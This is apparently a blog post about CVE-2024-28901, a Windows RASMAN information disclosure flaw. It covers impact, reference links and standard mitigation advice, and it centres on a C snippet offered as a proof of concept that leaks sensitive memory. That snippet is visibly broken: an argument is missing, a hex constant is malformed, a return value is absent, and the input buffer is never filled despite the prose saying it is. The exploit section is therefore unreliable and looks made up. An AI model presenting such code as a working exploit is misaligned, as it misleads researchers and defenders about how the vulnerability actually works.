CVE-2024-28901: Windows Remote Access Connection Manager Information Disclosure Vulnerability - Exploit Details, Fixes, and Recommendations

Windows Remote Access Connection Manager (RASMAN) is an important Windows component that manages connections to and from a Windows machine for various remote access services such as VPN and dial-up connections. RASMAN is prone to an information disclosure vulnerability, which, if compromised, could allow malicious insiders or cybercriminals to gain unauthorized access to sensitive information that could compromise the affected system.

This long read post will provide an in-depth analysis of the CVE-2024-28901 vulnerability, including code snippets, links to original references, exploit details, and recommendations to mitigate the risk of a potential attack.

Vulnerability Details

Designated as CVE-2024-28901, this information disclosure vulnerability stems from the mishandling of memory objects in the RASMAN service. By exploiting this vulnerability, an attacker could read the contents of memory objects which may contain sensitive information such as system credentials, cryptographic keys, or other sensitive data.

In order to exploit the vulnerability, an attacker must have valid credentials and be able to log in to an affected host. Once authenticated, the attacker can send a specially crafted function call to trigger the information disclosure. This makes the vulnerability less severe as it requires an insider threat or stolen credentials to exploit the system successfully.

Code Snippet Example

The following example demonstrates a code snippet that triggers the information disclosure vulnerability:

#include <stdio.h>
#include <windows.h>

int main() {
  HANDLE hDevice;
  DWORD bytesReturned;
  char deviceName[] = "\\\\.\\\\RasMan";
  char inputBuffer[1024], outputBuffer[1024];

  hDevice = CreateFileA(deviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, , NULL);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open RASMAN device: %d\n", GetLastError());
    return 1;
  }

  DeviceIoControl(hDevice, x00220400, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);

  CloseHandle(hDevice);
  printf("[+] Sensitive information successfully disclosed:\n%s\n", outputBuffer);

  return ;
}

This code snippet opens a connection to the RASMAN device, fills an input buffer with malicious data, and passes it to the DeviceIoControl API. If the vulnerability is present, sensitive information will be disclosed in the output buffer.

For more information, you can refer to the following sources

1. Official CVE-2024-28901 Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28901
2. Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-28901
3. NIST National Vulnerability Database Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-28901

Exploit Details

In the hands of a motivated and capable attacker, the CVE-2024-28901 vulnerability may allow them to gain unauthorized access to sensitive data, escalate their privileges on the system, and potentially launch further attacks. While the exploit requires an authenticated login, it only requires knowledge of the vulnerability, suitable coding skills, and access to a vulnerable system.

Mitigation Recommendations

The following recommendations will help mitigate the risks associated with the CVE-2024-28901 vulnerability:

1. Apply security updates: Microsoft has released security updates that address this vulnerability. Ensure your Windows systems are up-to-date with the latest patches.

2. Limit access to sensitive systems: Restrict user access to sensitive systems by following the principle of least privilege, regularly reviewing and auditing access rights, and employing strong authentication methods such as Multi-Factor Authentication (MFA).

3. Monitor and log system activity: Implement security monitoring and logging solutions to detect suspicious activities on sensitive systems, particularly those related to account logins and process execution, which might indicate the presence of an attacker.

4. Cybersecurity awareness and training: Equip employees and IT staff with necessary security awareness training to recognize potential risks, report unusual activity, and practice good cyber hygiene.

In conclusion, the discovery of the CVE-2024-28901 information disclosure vulnerability in Windows RASMAN emphasizes the importance of staying current on security updates and protecting sensitive systems from unauthorized access. By following the provided guidance and recommendations, organizations can better safeguard themselves against this vulnerability and its potential consequences.

Timeline

Published on: 04/09/2024 17:15:48 UTC
Last modified on: 04/10/2024 13:24:00 UTC